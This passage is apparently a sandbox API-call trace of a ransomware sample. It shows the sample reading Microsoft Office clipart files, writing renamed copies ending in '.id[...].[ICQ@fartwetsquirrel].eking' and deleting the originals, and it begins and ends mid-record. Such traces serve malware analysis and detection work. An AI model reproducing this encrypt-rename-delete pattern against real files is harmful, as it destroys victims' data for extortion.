hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0266.211] CloseHandle (hObject=0x3b0) returned 1 [0266.211] CloseHandle (hObject=0x394) returned 1 [0266.211] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0 [0266.859] SetEvent (hEvent=0x2b8) returned 1 [0266.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0266.861] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3524) returned 1 [0266.861] CloseHandle (hObject=0x364) returned 1 [0266.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0266.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0266.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0266.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0266.864] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0266.864] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0266.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0266.866] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xdc4, lpOverlapped=0x0) returned 1 [0266.869] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xdd0, lpOverlapped=0x0) returned 1 [0266.870] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0266.870] CloseHandle (hObject=0x364) returned 1 [0266.871] CloseHandle (hObject=0x380) returned 1 [0266.871] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0 [0266.871] SetEvent (hEvent=0x2b8) returned 1 [0266.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0266.873] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2488) returned 1 [0266.873] CloseHandle (hObject=0x380) returned 1 [0266.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0266.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0266.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0266.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0266.874] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0266.874] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0266.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0266.876] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x9b8, lpOverlapped=0x0) returned 1 [0266.878] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x9c0, lpOverlapped=0x0) returned 1 [0266.880] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0266.881] CloseHandle (hObject=0x380) returned 1 [0266.881] CloseHandle (hObject=0x364) returned 1 [0266.881] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0 [0266.882] SetEvent (hEvent=0x2b8) returned 1 [0266.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0266.883] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1676) returned 1 [0266.883] CloseHandle (hObject=0x364) returned 1 [0266.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0266.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0266.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0266.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0266.884] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0266.884] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0266.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0266.886] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x68c, lpOverlapped=0x0) returned 1 [0266.889] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x690, lpOverlapped=0x0) returned 1 [0266.890] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0266.891] CloseHandle (hObject=0x364) returned 1 [0266.891] CloseHandle (hObject=0x380) returned 1 [0266.891] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0 [0266.891] SetEvent (hEvent=0x2b8) returned 1 [0266.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0266.894] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3896) returned 1 [0266.894] CloseHandle (hObject=0x380) returned 1 [0266.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0266.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0266.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0266.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0266.895] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0266.895] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0266.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0266.898] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xf38, lpOverlapped=0x0) returned 1 [0267.129] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf40, lpOverlapped=0x0) returned 1 [0267.130] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0267.131] CloseHandle (hObject=0x380) returned 1 [0267.131] CloseHandle (hObject=0x364) returned 1 [0267.131] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0 [0267.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0267.435] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=14996) returned 1 [0267.435] CloseHandle (hObject=0x3b4) returned 1 [0267.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0267.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0267.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0267.447] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.447] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x358 [0267.449] ReadFile (in: hFile=0x3b4, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x3a94, lpOverlapped=0x0) returned 1 [0267.452] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3aa0, lpOverlapped=0x0) returned 1 [0267.454] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0267.455] CloseHandle (hObject=0x3b4) returned 1 [0267.455] CloseHandle (hObject=0x358) returned 1 [0267.455] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0 [0267.456] SetEvent (hEvent=0x2b8) returned 1 [0267.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0267.459] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1874) returned 1 [0267.459] CloseHandle (hObject=0x358) returned 1 [0267.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0267.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0267.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0267.461] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.461] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0267.462] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x752, lpOverlapped=0x0) returned 1 [0267.477] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x760, lpOverlapped=0x0) returned 1 [0267.478] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0267.478] CloseHandle (hObject=0x358) returned 1 [0267.478] CloseHandle (hObject=0x3b4) returned 1 [0267.479] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0 [0267.479] SetEvent (hEvent=0x2b8) returned 1 [0267.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0267.487] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10538) returned 1 [0267.487] CloseHandle (hObject=0x364) returned 1 [0267.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0267.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0267.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0267.488] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.488] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0267.489] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x292a, lpOverlapped=0x0) returned 1 [0267.504] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2930, lpOverlapped=0x0) returned 1 [0267.511] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0267.512] CloseHandle (hObject=0x364) returned 1 [0267.512] CloseHandle (hObject=0x380) returned 1 [0267.512] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0 [0267.684] SetEvent (hEvent=0x2b8) returned 1 [0267.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), 